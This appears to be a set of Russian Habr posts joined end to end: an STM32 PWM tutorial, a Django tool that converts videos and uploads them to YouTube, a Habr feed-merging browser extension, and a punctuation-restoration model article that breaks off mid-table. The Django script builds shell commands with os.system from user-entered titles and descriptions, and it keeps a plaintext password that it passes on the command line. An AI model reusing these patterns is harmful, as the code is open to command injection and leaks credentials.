здесь ***&module*** — указатель на модуль, реализующий альтернативную функцию порта ввода/вывода. например для 3 канала TIM3 это ***&\_GPIO\_MODULE\_TIM3\_CH3\_PB0***, для 2 канала TIM2: ***&\_GPIO\_MODULE\_TIM2\_CH2\_PA1***. В общем, указатель имеет вид ***&\_GPIO\_MODULE\_TIMa\_CHb\_Pxy***, где х — порт а у — вывод, к которому согласно даташита на конкретный микроконтроллер подключен b-канал а-таймера (Здесь очень может помочь **Code Assistsnt (ctrl-пробел)**, вводим \_GPIO\_*MODULE* и выбираем то что нам нужно из выпадающего списка).
Давайте попробуем сгенерировать ШИМ сигнал со скважностью 25% на выводе PB0 нашего микроконтроллера:
```
void main()
{
GPIO_Alternate_Function_Enable(&_GPIO_MODULE_TIM3_CH3_PB0); // Включаем альтернативную функцию для вывода РВ0
RCC_APB1ENRbits.TIM3EN=1; //Подаем тактирование на TIM3
TIM3_PSC=7199; // Предделитель равен 7200, таймер тактируется с частотой 10 КГц.
TIM3_ARR=99; // Таймер считает от 0 до 99, и обнуляется. 10000 / (99+1) = 100 Гц. Это и будет частота сигнала на выходе нашего ШИМа
TIM3_CCR3=25; // При значении 25 сигнал на выходе меняет уровень с высокого на низкий, из 100 тактов 25 уровень на выходе будет высоким, остальные 75 - низким.
TIM3_CCERbits.CC3E=1; // Включаем 3 выход нашего таймера
TIM3_CCMR2_Outputbits.OC3M=0b110; // Конфигурируем режим выхода - OC3M=110 - прямой ШИМ.
TIM3_CR1bits.CEN=1; //Включаем таймер
while(1)
{
}
}
```
На выходе PB0 получаем такую картину:
В microC ШИМ модулятор можно настроить при помощи встроенных функций. Для этого сначала иннициализируем таймер в режим ШИМ модулятора при помощ ифункции
```
period = PWM_TIMх_Init(freg);
```
* **freg** — частоnа работы ШИМ модулятора в герцах;
* **period** — функция возвращает период нашего генератора: количество тактов таймера за один период выходного сигнала, по сути значение регистра **TIMх\_ARR**
После этого установим скважность генерируемых импульсов нужного нам канала при помощи функции:
```
PWM_TIMх_Set_Duty(duty, _PWM_INVERTED /_PWM_NON_INVERTED, channel);
```
* **duty** — скважность нашего ШИМ сигнала, по сути значение регистра **TIMх\_CCRy**, изменяется от 0 до значения **period**;
* **\_PWM\_INVERTED** или **\_PWM\_NON\_INVERTED** — прямой или обратный шим;
* **channel** — канал ШИМ модулятора, имеет значения:
+ **\_PWM\_CHANNEL1** — для 1 канала;
+ **\_PWM\_CHANNEL2** — для 2 канала;
+ **\_PWM\_CHANNEL3** — для 3 канала;
+ **\_PWM\_CHANNEL4** — для 4 канала;
Наконец запустим наш ШИМ генератор функцией
```
PWM_TIM3_Start(channel, &module)
```
* **channel** — канал ШИМ модулятора;
* **&module** — указатель на модуль, выводящий сигнал ШИМ на физический вывод микроконтроллера, значение то же, что мы указывали при переводе порта микроконтроллера командой **GPIO\_Alternate\_Function\_Enable(&module)** в режим **Alternate Function** для подключения выхода таймера к выводу МК.
Напишем простую программу увеличивающую яркость встроенного в нашу плату светодиода при нажатии на кнопку.
```
unsigned short state; // наша переменная состояний, бит1 используется для определения отпускания кнопки.
unsigned int period; //переменная хранящая значения периода импульсов
unsigned short dutyled;//переменная хранящая скважность импульсов
void main()
{
dutyled=10; //начнем с 10%
GPIO_Alternate_Function_Enable(&_GPIO_MODULE_TIM3_CH4_PB1); //Включаем альтернативную функцию для пина PB0 GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8);
period = PWM_TIM3_Init(5000); //Иннициализируем ШИМ с частотой 5000 Гц
PWM_TIM3_Set_Duty((period/100)*dutyled, _PWM_NON_INVERTED, _PWM_CHANNEL4); //устанавливаем скважность для 4 канала ШИМ Таймера3
PWM_TIM3_Start(_PWM_CHANNEL4, &_GPIO_MODULE_TIM3_CH4_PB1); // Запускаем 4 канал ШИМ, выводем на пин PB1
while(1)
{
if (Button(&GPIOb_IDR, 8, 1, 1))
state.b1=1;
if (state.b1 && Button(&GPIOb_IDR, 8, 1, 0))
{
//Кнопку нажали и отпустили
state.b1= ~state.b1;
dutyled = dutyled + 10;
if (dutyled >= 100) //если скважность больше 100% то сбрасываем в 0
dutyled=10;
PWM_TIM3_Set_Duty((period/100)*dutyled, _PWM_NON_INVERTED, _PWM_CHANNEL4); // Изменяем скважность импульсов
}
}
}
```
Теперь при каждом нажатии на кнопку наш светодиод начинает светится ярче. Скважность ШИМ сигнала увеличивается после каждого нажатия на 10% — увеличивается и яркость светодиода.
Давайте при помощи встроенных функций microC сгенерируем 2 ШИМ сигнала на выходах каналов **CH2 (PA7)** и **CH3 (PB0) TIM3** со скважностями соответственно 15% и 55%
```
unsigned int period, duty1, duty2; //переменные хранящие значения периода и скважности импульсов
void main()
{
duty1=55; //Заносим в переменные значения скважности импульсов
duty2=15;
GPIO_Alternate_Function_Enable(&_GPIO_MODULE_TIM3_CH3_PB0); //Включаем альтернативную функцию для пина PB0
GPIO_Alternate_Function_Enable(&_GPIO_MODULE_TIM3_CH2_PA7);//Включаем альтернативную функцию для пина PА7
period = PWM_TIM3_Init(1000); // Иннициализируем ШИМ с частотой 1000 Гц
PWM_TIM3_Set_Duty((period/100)*duty1, _PWM_NON_INVERTED, _PWM_CHANNEL3); //устанавливаем скважность для 3 канала ШИМ Таймера3
PWM_TIM3_Set_Duty((period/100)*duty2, _PWM_NON_INVERTED, _PWM_CHANNEL2); //устанавливаем скважность для 2 канала ШИМ Таймера3
PWM_TIM3_Start(_PWM_CHANNEL3, &_GPIO_MODULE_TIM3_CH3_PB0); //Запускаем 3 канал ШИМ, выводем на пин PB0
PWM_TIM3_Start(_PWM_CHANNEL2, &_GPIO_MODULE_TIM3_CH2_PA7); // Запускаем 2 канал ШИМ, выводем на пин PA7
while(1)
{
}
```
Подключив осциллограф к выводам PA7 и PB0 можем наблюдать наши сигналы:
Осциллограф измеряет действующие значения RMS, и мы можем наблюдать что они зависят от скважности наших импульсов. Этим можно пользоваться для генерации ШИМом произвольных сигналов, например синусоиды. Давайте попробуем это сделать:
**Таймер 3** будет будет генерировать ШИМ сигнал, скважность которого мы будем изменять по закону синусоиды. Для эксперимента разобьем период на 40 частей (с шагом в 9 градусов) и для них будем вычислять значения синуса, и записывать нормированные по значению периода ШИМа в регистр CCR нужного нам канала, тем самым изменяя скважность импульсов и формируя на выходе пина таймера МК синусоиду. STM32 достаточно приозводительный МК, поэтому для невысоких частот, порядка 100-н герц, можно пользоваться непосредственно Сишной функцией SIN(). Настроим **Таймер 2** на вызов прерываний с частотой 4000 Гц. Учитывая что один период синусоиды у нас занимает 40 отсчетов (360 / 9) мы должны на экране осциллографа увидеть синусоиду с частотой 100 Гц.
```
unsigned int cpwm; //переменная для текущего значения скважности импульсов
unsigned int ugol = 0; //переменная для угла в градусах
const float PI=3.1416; //константа ПИ=3,1416
void main()
{
GPIO_Alternate_Function_Enable(&_GPIO_MODULE_TIM3_CH3_PB0);
// Настраиваем 3 таймер в режим генерации ШИМ сигнала частотой 72 КГц
RCC_APB1ENRbits.TIM3EN=1;
TIM3_CCERbits.CC3E=1;
TIM3_CCMR2_Outputbits.OC3M=0b110;
TIM3_CCR3 = 1000;
TIM3_ARR = 1999;
TIM3_PSC=0;
TIM3_CR1bits.CEN=1;
// Настраиваем 4 таймер для генерации прерываний с частотой 4000 Гц
RCC_APB1ENR.TIM4EN = 1;
TIM4_CR1.CEN = 0;
TIM4_PSC = 719;
TIM4_ARR = 24;
NVIC_IntEnable(IVT_INT_TIM4); // Разрешаем вектор прерываний от таймера TIM4
TIM4_DIER.UIE = 1; // Разрешаем таймеру вызывать прерывания
TIM4_CR1.CEN = 1; //Включаем таймер 4
while(1)
{
}
}
void Timer2_interrupt() iv IVT_INT_TIM4
{
TIM4_SR.UIF = 0;// Сбрасываем флаг прерывания
cpwm= 1000 + (1000 * sin((PI*ugol)/180)); //Вычисляем текущее значение синусоиды
TIM3_CCR3 = cpwm; //Пишем вычисленное значение в регистр ССR таймера
ugol = ugol + 9; //шаг в 9 градусов
if (ugol > 359) ugol = 0; //замыкаем аргумент функции sin в ее области определения
}
```
сигнал с выхода нашего МК нужно пропустить через фильтр низких частот, для того чтобы отсечь частоту, на которой работает ШИМ генератор. Так как частота нашей синусоиды 100 Гц, частоту среза фильтра выберем 300 Гц.
Вот такой сигнал показывает нам осцилограф:
Вот и подошла к концу вторая часть нашего цикла статей. В следующей части я постараюсь рассказать о работе с последовательным интерфейсом UART, и попробуем использовать возможности МК для связи с GSM модулем. | https://habr.com/ru/post/319256/ | null | ru | null |
# Конвертируем и загружаем на YouTube
Доброго времени суток!
Итак начнём. В статье я опишу краткий проект на [django](http://www.djangoproject.com), который конвертирует/загружает видео-ролики на Ваш канал YouTube.
Пару слов об истории проблемы… Я работаю в небольшой региональной телевизионной компании, которой в один чудесный день захотелось, чтобы их контент люди могли наблюдать, не только сидя у голубых экранов, но и в [YouTube](http://www.youtube.com). Т.к. у нас стоит вещательный сервер от Omneon, все материалы у нас готовятся в формате mov, а средний вес 15 минутной программы = 3,5Гб. Заливать файл такого размера утомительно и глупо, гораздо правильнее будет конвертировать ролики в mp4 (например) и выкладывать уже лёгкими на YouTube (благо качество от этого теряем мы не так много). Для примера: 3,5Гб сжимаются где-то в 100Мб приемлемого качества.
*Статья не претендует на звание «открытие» и «прорыв года», она просто упорядочивает известные факты в удобную инструкцию.*
1. Алгоритм
-----------
Для себя я руководствовался следующей последовательностью действий:
* Смотрим в папку, где живут видео-ролики
* Выбираем нужный
* Вводим информацию для YT (название, описание, ключевые слова)
* Ставим файл в очередь
* В очереди последовательно идёт конвертирование роликов, потом загрузка их на YT
* Как ролик загрузился, у меня высветился статус «uploaded»
Также мне захотелось добавить некое логирование, аля «кто / когда / что закачал».
2. Что необходимо?
------------------
Надеюсь django у Вас установлено, иначе дальше читать бессмысленно. Также потребуются следующие пакеты:
* [youtube-upload](http://code.google.com/p/youtube-upload/) (за собой тянет он ещё и [python-gdata](http://code.google.com/p/gdata-python-client))
* [ffmpeg](http://www.ffmpeg.org/) (на ubuntu проставляется простой комбинацией *apt-get install ffmpeg*)
3. Собираем всё вместе
----------------------
Сам люблю когда на рассказываемое хоть краем глаза можно посмотреть, потому вот финальный скриншот:
[](http://img-fotki.yandex.ru/get/5307/94968737.0/0_6a672_30a8d1a3_orig)
Буду рассказывать по пунктам с самого старта.
Первым делом стартуем новый проект: *django-admin.py startproject YTupload*
В новом проекте сразу правим **settings.py** под свои нужды и добавляем следующие поля:
```
ENCODE_DIR_FROM = '/путь_до_директории_в_которую_складываются_ролики_для_закачки_на_YT/'
ENCODE_DIR_TO = os.path.join(ROOT,'file_out') #временная папка куда будут складываться отконвертированные... у меня как видите это просто подпапка file_out в самом проекте
YT_LOGIN = 'login@gmail.com' #ваш логин от YT
YT_PASSWORD = 'password' #ваш пароль от YT
```
Выше я «заикался» о логировании действий. Вот для этого нам нужна следующая моделька.
создаём приложение *django-admin.py startapp control*
открываем **models.py**
```
# -*- coding: utf-8 -*-
from django.db import models
from django.contrib.auth.models import User
class Log(models.Model):
filename = models.CharField(max_length=300)
filesize = models.CharField(max_length=300)
user = models.ForeignKey(User)
created = models.DateTimeField()
uploaded = models.DateTimeField(null=True, blank=True)
link = models.CharField(max_length=300, blank=True)
#youtube properties
title = models.CharField(max_length=300)
description = models.TextField()
keywords = models.CharField(max_length=300)
status = models.CharField(max_length=300, blank=True)
class People(models.Model):
login = models.OneToOneField(User, primary_key=True)
name = models.CharField(max_length=200)
```
переходим к **views.py**
```
# -*- coding: utf-8 -*-
from django.shortcuts import render_to_response
from django.http import HttpResponseRedirect, HttpResponse, Http404
from django.template import RequestContext
from django.shortcuts import get_object_or_404, get_list_or_404
from django.contrib.auth import login, logout
from django.contrib.auth.forms import AuthenticationForm
from control.models import *
import os, datetime, settings
# функция вывода статуса
def LogStatus(l):
try: return Log.objects.filter(filename=l)[0].status
except: return None
def index(request, template):
if not request.user.is_authenticated():
return HttpResponseRedirect('/enter/')
loglist = Log.objects.order_by('-id')[:10]
# смотрим в директорию
listdir = os.listdir(settings.ENCODE_DIR_FROM)
dictdir = [{'filename':None,'filesize':None, 'status':None} for i in range(len(listdir))]
n = 0
for l in listdir:
dictdir[n]['filename'] = l
dictdir[n]['filesize'] = os.path.getsize(os.path.join(settings.ENCODE_DIR_FROM,l))
dictdir[n]['status'] = LogStatus(l)
n+=1
# действие по нажатию кнопки
if request.method == 'POST':
filename = request.POST['filename']
filesize = request.POST['filesize']
title = request.POST['title']
description = request.POST['description']
keywords = request.POST['keywords']
# проверить не конвертируется ли ещё?
if Log.objects.filter(filename=filename):
return HttpResponse('already in query')
else:
# записать в Log, поставить статус "конвертируется"
l = Log(filename=filename, filesize=filesize, user=User.objects.filter(id=int(request.user.id))[0], created=datetime.datetime.now(), title=title, description=description, keywords=keywords, status='in query')
l.save()
return HttpResponseRedirect('/')
return render_to_response(template, {'dictdir':dictdir,
'loglist':loglist,})
def exit(request):
logout(request)
return HttpResponseRedirect('/enter/')
def enter(request, template):
authform = AuthenticationForm()
if request.user.is_authenticated():
return HttpResponseRedirect('/')
if request.method == 'POST':
authform = AuthenticationForm(data=request.POST)
if authform.is_valid():
login(request, authform.get_user())
return HttpResponseRedirect('/')
return render_to_response(template, {'authform': authform})
```
Код не сложный (если нужно будет, готов по подробнее рассказать), функция *index* выдаёт 2 списка: первый — какие файлы есть в папке, второй — какие файлы уже записаны в лог. Вывод этой функции виден на скриншоте выше… *enter* и *exit* — самая простая аутентификация.
Идём дальше: **urls.py**
```
from django.conf.urls.defaults import *
from django.contrib import admin
admin.autodiscover()
import views, settings
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
(r'^$', views.index, {'template': 'index.html'}),
(r'^enter/$', views.enter, {'template': 'enter.html'}),
(r'^exit/$', views.exit),
(r'^media/(?P.\*)$', 'django.views.static.serve', {'document\_root': settings.MEDIA\_ROOT}),
)
```
Здесь всё просто. Зашёл, авторизовался, закачал!
Финальный аккорд — это **converting.py**, который и делает всю работу.
```
# -*- coding: utf-8 -*-
import settings, os, datetime
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'
from control.models import *
if Log.objects.filter(status='converting'):
quit()
else:
try:
file = Log.objects.filter(status='in query')[0]
except:
quit()
file.status = 'converting'
file.save()
# новое имя файла
basename, extension = os.path.splitext(file.filename)
newfilename = basename + '.flv'
os.system('ffmpeg -i ' + os.path.join(settings.ENCODE_DIR_FROM, file.filename) + ' -ar 22050 -vb 1500kbits/s ' + os.path.join(settings.ENCODE_DIR_TO, newfilename))
file.status = 'uploading'
file.save()
os.system('youtube-upload --email=' + settings.YT_LOGIN + ' --password=' + settings.YT_PASSWORD + ' --title="' + file.title.encode('utf-8') + '" --description="' + file.description.encode('utf-8') + '" --category="News" --keywords="' + file.keywords.encode('utf-8') + '" ' + os.path.join(settings.ENCODE_DIR_TO, newfilename).encode("utf-8"))
file.status = 'uploaded'
file.uploaded = datetime.datetime.now()
file.save()
```
Этот скрипт у меня запускается через crontab. Смысл прост: берём первый попавшийся файл со статусом «in query» (в очереди), конвертируем (меняем статус на converting), загружаем (меняем статус на uploading), загрузили (статус = uploaded).
crontab:
`*/1 * * * * python /var/www/YTupload/converting.py &> /dev/null`
Ну и собственно дарю html-код шаблона:
**enter.html**
```
Вход | YTUpload | 1vank1n.habrahabr.ru
html, body {
font-size: 14px;
font-family: Georgia, "Times New Roman", Times, serif;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
}
#table-center {
height: 100%;
width: 100%;
}
#form-auth {
margin-bottom: 0px;
margin-top: 0px;
margin-right: auto;
margin-left: auto;
height: 100px;
width: 330px;
}
#form-auth table td {
padding: 5px;
}
#form-auth input {
background-color: white;
border-color: #cccccc;
border-style: solid;
border-width: 1px;
padding: 5px;
display: block;
margin: 0 auto;
}
| |
| --- |
| {% csrf\_token %}
{{ authform.as\_table }}
|
```
**index.html**
```
YTUpload | 1vank1n.habrahabr.ru
$(function(){
$('#choose\_file a').click(function(){
$('#file\_properties').fadeIn();
$('input[name="filename"]').attr('value', $(this).text());
$('input[name="filesize"]').attr('value', $(this).next('span').text());
});
});
body {width:1000px;margin:0 auto;position: relative;font-size:11pt;}
#file\_properties {display: none;}
#choose\_file {width: 490px; float: left; height: 500px; overflow-y: auto;}
#loglist, #loglist table {width: 500px; float:right;}
#loglist td {border: 1px solid #555;margin: 0;padding: 5px;}
#exit {display: block; position: absolute; top:0; right:0; padding: 10px; background: #ddf; color: #000; text-decoration: none;}
input, textarea, button {border: 1px solid #ccc; padding:5px;}
[Выход](/exit/)
Отчёт
=====
| | | |
| --- | --- | --- |
| Имя файла | Размер | Статус |
{% for l in loglist %}
| {{ l.filename }} | {{ l.filesize }} | {{ l.status }} |
{% endfor %}
1. Выберите файл:
=================
Используйте в имени файла только латинские буквы, без пробелов и всяких там символов (+,-,%,',",^,&)!!!
{% for d in dictdir %}
- {% if not d.status %}[{% endif %}{{ d.filename }}](#) | {{ d.filesize|filesizeformat }}
{% endfor %}
2. Описание файла:
==================
| Файл: | |
| Название: | |
| Описание: | |
| Ключевые слова: | |
| | |
```
4. Вместо финала
----------------
Надеюсь кому-то это поможет / сэкономит время / или просто повеселит. Представленный мной вариант можно доработать (может выложить на github?), слава богу кучу всего ещё можно поправить, например какие я вижу варианты развития:
* добавить выбор в какой playlist грузить
* прогрессбар загрузки
* уведомления о загрузке
* возможность выбора в какой канал видео загружать
* возможность выбора качества (битрейт конвертации)
* и наверняка ещё что-то...
Спасибо за внимание!
*P.S. код далёк от совершенства, будет «шлифоваться». Спасибо Evgeny Bespaly за советы по оптимизации, обязательно воспользуюсь.*
**UPD:** проект на github = <https://github.com/1vank1n/YTupload/>, буду рад всем кто поможет довести его до ума! | https://habr.com/ru/post/124508/ | null | ru | null |
# «Дуров, верни стену» или «Хабрахабр + Geektimes + Мегамозг» в одной ленте
Когда разбушевался Роскомнадзор и Хабр по вынужденным причинам разделился, [появился «младший брат»](http://habrahabr.ru/company/tm/blog/240135/), которого не жалко — Geektimes. Мне такое разделение пришлось не по душе и Я сделал для локального пользования небольшое расширение для браузера, которое выводит посты Geektimes на Хабре в одной ленте.
Вчера же, случилось еще одно разделение, у Хабра [появляется «кузен гуманитарий»](http://habrahabr.ru/company/tm/blog/248411/) — Мегамозг. Добавить его ленту в общую ленту на Хабре Мне не составило труда. Увидев настроение пользователей от всех этих разделений, Я решил выложить это расширение в общий доступ, возможно Вам тоже будет удобней так читать Хабр (по старинке).
**Расширение работает только на вкладках:**
Для зарегистрированных «все подряд» — <http://habrahabr.ru/feed/all/>
Для незарегистрированных «лучшее за сутки» — <http://habrahabr.ru/posts/top/daily/>
Работа довольно проста, при заходе, делается дополнительно два GET запроса на geektimes и megamozg, получаются посты и вставляются между существующими на Хабре, отсортированные по времени.
Синхронизация с geektimes довольно красиво все показывается, а с megamozg пока есть проблемы, из-за того, что там довольно мало постов в день, скоро думаю все изменится.
**Добавить в браузер:**
[](http://filmego.org/habrahabr/habrahabr.xpi) [](https://chrome.google.com/webstore/detail/dojcagmcgjomcbhkopnaoobhfpgapgha) [](https://gist.github.com/extensionsapp/946a14d5c820d57ac7c4)
Кому интересен исходник, вот:
**Открыть код**
```
var habr = {
init: function() {
var last = document.createElement('div'),
published = document.createElement('div');
last.setAttribute('id', 'last_id');
last.setAttribute('class', 'post shortcuts_item');
last.setAttribute('style', 'display:none;');
published.setAttribute('class', 'published');
published.innerText = '20 января 2015 в 00:01';
last.appendChild(published);
document.getElementsByClassName('posts')[0].appendChild(last);
habr.feed('geektimes.ru');
},
feed: function(host) {
var href = location.href;
href = href.replace('habrahabr.ru/posts/top/daily/',host + '/interesting/');
href = href.replace('habrahabr.ru/feed',host);
var xhr = new XMLHttpRequest();
xhr.open("GET", href, true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
var html = document.createElement('div');
html.innerHTML = xhr.responseText;
var posts = html.getElementsByClassName('post');
for (var i = 0; i < posts.length; i++) {
var post = document.createElement('div');
post.innerHTML = posts[i].innerHTML;
var date = post.getElementsByClassName('published')[0].innerText;
var postDate = habr.getDate(date);
post.getElementsByClassName('title')[0].setAttribute('style','padding-right:71px;');
post.getElementsByClassName('favorite')[0].parentNode.removeChild(post.getElementsByClassName('favorite')[0]);
post.getElementsByClassName('plus')[0].parentNode.removeChild(post.getElementsByClassName('plus')[0]);
post.getElementsByClassName('minus')[0].parentNode.removeChild(post.getElementsByClassName('minus')[0]);
habr.addChild(post.innerHTML, postDate, host, posts[i].id);
if (i == posts.length-1 && host == 'geektimes.ru') {
habr.feed('megamozg.ru');
}
}
}
};
xhr.send(null);
},
addChild: function(data, time, host, id) {
var posts = document.getElementsByClassName('post');
for (var i = 0; i < posts.length; i++) {
var date = posts[i].getElementsByClassName('published')[0].innerText;
var postDate = habr.getDate(date);
var postAdd = document.createElement('div');
postAdd.setAttribute('class', 'post shortcuts_item');
postAdd.setAttribute('id', id);
postAdd.setAttribute('style', 'background:url("http://' + host + '/images/logo.svg") right top no-repeat; background-size: 71px;');
postAdd.innerHTML = data;
if (time >= postDate) {
document.getElementsByClassName('posts')[0].insertBefore(postAdd, document.getElementById(posts[i].id));
break;
}
}
},
getDate: function(date) {
var d = new Date(),
dateYear,
dateMonth,
dateDay,
dateHour,
dateMin,
dateMinSec,
parseDate;
if (date.indexOf('сегодня') + 1) {
date = date.replace('сегодня в ', '');
dateMinSec = date.split(':');
dateYear = d.getFullYear();
dateMonth = d.getMonth();
dateDay = d.getDate();
dateHour = dateMinSec[0];
dateMin = dateMinSec[1];
}
else if (date.indexOf('вчера') + 1) {
date = date.replace('вчера в ', '');
dateMinSec = date.split(':');
dateYear = d.getFullYear();
dateMonth = d.getMonth();
dateDay = d.getDate()-1;
dateHour = dateMinSec[0];
dateMin = dateMinSec[1];
}
else {
parseDate = /([0-9]{1,2})\s(января|февраля|марта|апреля|мая|июня|июля|августа|сентября|октября|ноября|декабря)\s([0-9]{4})\sв\s([0-9]{2}):([0-9]{2})/gi.exec(date);
if (!parseDate) {
parseDate = /([0-9]{1,2})\s(января|февраля|марта|апреля|мая|июня|июля|августа|сентября|октября|ноября|декабря)\sв\s([0-9]{2}):([0-9]{2})/gi.exec(date);
dateYear = d.getFullYear();
dateDay = parseDate[1];
dateHour = parseDate[3];
dateMin = parseDate[4];
}
else {
dateYear = parseDate[3];
dateDay = parseDate[1];
dateHour = parseDate[4];
dateMin = parseDate[5];
}
switch (parseDate[2]) {
case 'января':
dateMonth = 0;
break;
case 'февраля':
dateMonth = 1;
break;
case 'марта':
dateMonth = 2;
break;
case 'апреля':
dateMonth = 3;
break;
case 'мая':
dateMonth = 4;
break;
case 'июня':
dateMonth = 5;
break;
case 'июля':
dateMonth = 6;
break;
case 'августа':
dateMonth = 7;
break;
case 'сентября':
dateMonth = 8;
break;
case 'октября':
dateMonth = 9;
break;
case 'ноября':
dateMonth = 10;
break;
case 'декабря':
dateMonth = 11;
break;
default :
dateMonth = 0;
}
}
return new Date(dateYear, dateMonth, dateDay, dateHour, dateMin);
}
};
habr.init();
```
~~PS: Автор [extensionsapp](https://habrahabr.ru/users/extensionsapp/) не состоит в Клубе Веселых и Находчивых, потому, кто щедр на инвайты, всегда рад будет его получить и за одно рассказать об одном довольно интересном расширении.~~
Спасибо, [ragequit](https://habrahabr.ru/users/ragequit/).
**Исходники на GitHub:**
[github.com/extensionsapp/habrahabr-chrome](http://github.com/extensionsapp/habrahabr-chrome)
[github.com/extensionsapp/habrahabr-firefox](http://github.com/extensionsapp/habrahabr-firefox)
**UPD 13.03.15:** Изменились ссылка на хабре. Все было исправлено и работает.
Теперь работает на 3-х ссылках:
<http://habrahabr.ru/feed/interesting/> — интересное из Ваших подписок.
<http://habrahabr.ru/feed/all/> — все подряд из Ваших подписок.
<http://habrahabr.ru/all/> — все подряд.
Если хотите читать только Habrahabr и Geektimes, идете на [Мегамозг](http://megamozg.ru/feed/settings/) и снимаете галочки со всех хабов. Аналогичные манипуляции и для гуманитариев.
**UPD 09.09.15:**
Установка обезьянки:
[Violent monkey [Opera]](https://addons.opera.com/ru/extensions/details/violent-monkey/), [Greasemonkey [Firefox]](https://addons.mozilla.org/ru/firefox/addon/greasemonkey/), [Tampermonkey [Chrome]](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo), [GreaseKit [Safari]](http://8-p.info/greasekit/)
Затем установка расширения:
Нажать Row -> <https://gist.github.com/extensionsapp/946a14d5c820d57ac7c4>
или
Нажить Install -> <https://openuserjs.org/scripts/extensionsapp/habrahabr-userscript>
**UPD 16.08.17:** Обновление скрипта после редизайна Хабра. | https://habr.com/ru/post/248599/ | null | ru | null |
# Восстановление знаков пунктуации и заглавных букв — теперь и на длинных текстах
[](https://colab.research.google.com/github/snakers4/silero-models/blob/master/examples_te.ipynb)
После [релиза нашей первой модели](https://habr.com/ru/post/581946/), расставляющей знаки препинания и большие буквы, было много пожеланий доработать её, чтобы она могла обрабатывать тексты целиком, а не отдельные предложения. Это коллективное пожелание и было осуществлено в нашей новой версии модели.
В целом, архитектура и датасеты остались прежними. Что изменилось:
* обучение теперь производилось не на отдельных предложениях, а на нескольких последовательных предложениях (принимаем во внимание, что конструктивное ограничение модели при обучении — 512 токенов на вход, что позволяет свободно подавать ~150 слов на любом из четырех поддерживаемых языков)
* для ускорения обучения модели сокращение словаря теперь проводилось не только на инференсе, но и на трейне, что позволило увелить размер батча
Размер модели и ее сжатие
-------------------------
Первая версия модели на момент релиза уже весила меньше 100 мегабайт. После этого мы выбросили еще 20 тысяч токенов (размер токена, напомним, 768) — токенов с большой буквой в начале, про которые мы забыли в тот раз, и которые модель, очевидно, не использует. Так модель еще немного ужалась до 85 мегабайт.
Как и раньше, основным секретом такого удобного размера выступает статическая и динамическая квантизация.
Что мы еще попробовали:
1. прунинг — с помощью кода из оригинального [репо базовой модели](https://github.com/huggingface/transformers/) действительно удалось проанализировать головы и подрезать лишние, но это, во-первых, резко ухудшило качество модели, во-вторых, из-за особенностей архитектуры модели, головы — не единственные тяжеловесные ее части, и выигрыш по размеру составил только 10 мегабайт, что вообще не имеет смысла при ухудшении метрик;
2. [факторизацию](https://habr.com/ru/post/563778/) — вывод примерно аналогичный, хоть выигрыш и составил здесь около 20 мегабайт, эмбеддинг стал работать сильно менее успешно и вероятно требовал очень длительного дообучения, что тоже выходило бы не вполне рационально.
В итоге от обеих перечисленных техник было разумнее отказаться.
Результаты
----------
Напомним, что для этой задачи мы снимаем метрики на валидационных сабсетах наших приватных текстовых корпусов (`5,000` предложений на каждый язык) и на текстах [caito](http://www.caito.de/2019/01/the-m-ailabs-speech-dataset/) (`20,000` случайных предложений на каждый язык). Более подробно про снятие метрик — в нашей [статье](https://habr.com/ru/post/581946/) про первую версию модели.
В этот раз для краткости приведем только WER (word error rate) в процентах, причем отдельно рассчитанный для пунктуации (и предсказание, и оригинал при этом приведены к строчному виду) — `WER_p` и для расставления заглавных букв (а здесь выбрасываем всю пунтуацию) — `WER_c`.
Мы посчитали метрики как для входных данных, представляющих из себя блоки из нескольких последовательных предложений, так и на отдельных предложениях, чтобы удостовериться, что новая версия модели действительно включает в себя функционал старой.
В ячейках указан `WER_p` / `WER_c`, а наивный бейзлайн состоит в постановке заглавной буквы в начале текста и точки в конце.
### WER — работа модели на блоках из нескольких предложений
**Домен — валидационные данные:**
| | | | Языки | |
| --- | --- | --- | --- | --- |
| | en | de | ru | es |
| бейзлайн | 14 / 19 | 13 / 41 | 17 / 20 | 10 / 16 |
| модель | 6 / 6 | 5 / 5 | 7 / 7 | 5 / 5 |
**Домен — книги:**
| | | | Языки | |
| --- | --- | --- | --- | --- |
| | en | de | ru | es |
| бейзлайн | 14 / 13 | 15 / 26 | 23 / 14 | 13 / 8 |
| модель | 12 / 7 | 11 / 8 | 18 / 10 | 12 / 6 |
### WER — работа модели отдельных предложениях
**Домен — валидационные данные:**
| | | | Языки | |
| --- | --- | --- | --- | --- |
| | en | de | ru | es |
| бейзлайн | 12 / 18 | 10 / 33 | 13 / 12 | 8 / 11 |
| модель | 5 / 4 | 5 / 4 | 7 / 4 | 5 / 4 |
**Домен — книги:**
| | | | Языки | |
| --- | --- | --- | --- | --- |
| | en | de | ru | es |
| бейзлайн | 12 / 10 | 12 / 22 | 19 / 9 | 15 / 7 |
| модель | 12 / 6 | 10 / 6 | 17 / 7 | 13 / 5 |
Впрочем, еще работая с текстами caito в первый раз, мы заметили, что они далеки от идеала — нередко предложения будто обрезаны или перемешаны, внутри предложения вклинивается другое, начинающееся с большой буквы, но без точки до этого, — что, конечно, на блоках предложений становится еще более заметным. Вероятно, таковы издержки предобработки текстов книг. Тем не менее, решили уже не переходить на другие датасеты для удобства сравнения метрик — понятно, что полученные числа скорее коррелируют с реальным качеством работы модели на произвольных данных.
### Примеры работы модели
Как и раньше, приведем непосредственные примеры работы модели — в этот раз поможем Агенту Смиту с пунктуацией и заглавными буквами на трех оставшихся языках:
| Оригинал | Модель |
| --- | --- |
| Why, Mr. Anderson? Why, why, why? Why do you do it? Why get up? Why keep fighting? Do you believe you're fighting for something? For more than your survival? Can you tell me what it is? Do you even know? Is it freedom? Or truth? Perhaps peace? Could it be for love? | Why Mr. Anderson, Why why why why do you do it? Why get up? Why keep fighting? Do you believe youre fighting for something for more than your survival? Can you tell me what it is? Do you even know is it freedom or truth? Perhaps peace could it be for love? |
| -- | -- |
